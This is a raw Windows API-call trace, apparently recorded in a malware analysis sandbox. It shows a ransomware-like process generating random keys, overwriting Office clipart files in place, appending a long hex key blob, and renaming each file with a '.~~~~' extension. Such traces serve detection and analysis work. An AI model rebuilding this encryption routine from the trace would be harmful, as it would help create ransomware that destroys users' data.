	[0096.833] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0096.833] GetLastError () returned 0x0
	[0096.833] GetLastError () returned 0x0
	[0096.833] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0096.833] GetLastError () returned 0x0
	[0096.833] GetLastError () returned 0x0
	[0096.891] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffc228, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.891] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3dd8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x3dd8, lpOverlapped=0x0) returned 1
	[0096.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0096.892] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.892] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.892] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.892] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.892] CloseHandle (hObject=0x12c) returned 1
	[0096.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.892] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.~~~~")) returned 1
	[0096.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0096.893] GetLastError () returned 0x0
	[0096.894] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0096.894] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0096.894] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0096.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0096.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0096.895] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21688472577) returned 1
	[0096.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa376e470, dwHighDateTime=0x1d60e1e)) 
	[0096.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0096.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0096.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0096.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840570
	[0096.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840570 | out: hHeap=0x300000) returned 1
	[0096.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842bd8
	[0096.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.895] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0096.895] GetLastError () returned 0x0
	[0096.895] GetLastError () returned 0x0
	[0096.895] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0096.896] GetLastError () returned 0x0
	[0096.896] GetLastError () returned 0x0
	[0096.990] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffef20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.990] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x10e0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x10e0, lpOverlapped=0x0) returned 1
	[0096.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0096.991] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.992] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.992] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.992] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.992] CloseHandle (hObject=0x12c) returned 1
	[0096.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.992] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.~~~~")) returned 1
	[0096.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0096.993] GetLastError () returned 0x0
	[0096.993] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0096.995] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0096.995] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0096.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0096.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0096.996] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21698566782) returned 1
	[0096.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3878e10, dwHighDateTime=0x1d60e1e)) 
	[0096.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0096.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0096.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0096.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840688
	[0096.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840688 | out: hHeap=0x300000) returned 1
	[0096.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842e38
	[0096.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.996] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0096.996] GetLastError () returned 0x0
	[0096.996] GetLastError () returned 0x0
	[0096.997] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0096.997] GetLastError () returned 0x0
	[0096.997] GetLastError () returned 0x0
	[0097.034] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffd2c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.034] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x2d40, lpOverlapped=0x0) returned 1
	[0097.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.035] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.035] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.035] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.035] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.035] CloseHandle (hObject=0x12c) returned 1
	[0097.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.036] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.~~~~")) returned 1
	[0097.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.037] GetLastError () returned 0x0
	[0097.038] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.039] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.039] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.040] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21702979398) returned 1
	[0097.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa38c50d0, dwHighDateTime=0x1d60e1e)) 
	[0097.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa010
	[0097.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa010 | out: hHeap=0x300000) returned 1
	[0097.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843130
	[0097.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.042] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.043] GetLastError () returned 0x0
	[0097.043] GetLastError () returned 0x0
	[0097.043] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.043] GetLastError () returned 0x0
	[0097.043] GetLastError () returned 0x0
	[0097.048] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffcfa4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.048] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x305c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x305c, lpOverlapped=0x0) returned 1
	[0097.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.051] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.051] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.051] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.051] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.051] CloseHandle (hObject=0x12c) returned 1
	[0097.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0097.052] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.~~~~")) returned 1
	[0097.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.053] GetLastError () returned 0x0
	[0097.053] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.054] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.054] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.055] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21704470506) returned 1
	[0097.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa38eb230, dwHighDateTime=0x1d60e1e)) 
	[0097.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28406c0
	[0097.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28406c0 | out: hHeap=0x300000) returned 1
	[0097.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0097.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28432f8
	[0097.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.055] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.055] GetLastError () returned 0x0
	[0097.056] GetLastError () returned 0x0
	[0097.056] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.056] GetLastError () returned 0x0
	[0097.056] GetLastError () returned 0x0
	[0097.253] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffec9c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.253] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1364, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1364, lpOverlapped=0x0) returned 1
	[0097.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.254] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.254] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.254] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.255] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.255] CloseHandle (hObject=0x12c) returned 1
	[0097.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0097.286] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.~~~~")) returned 1
	[0097.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.294] GetLastError () returned 0x0
	[0097.295] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.295] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.296] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.296] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21728577792) returned 1
	[0097.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3b4c830, dwHighDateTime=0x1d60e1e)) 
	[0097.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840928
	[0097.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840928 | out: hHeap=0x300000) returned 1
	[0097.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
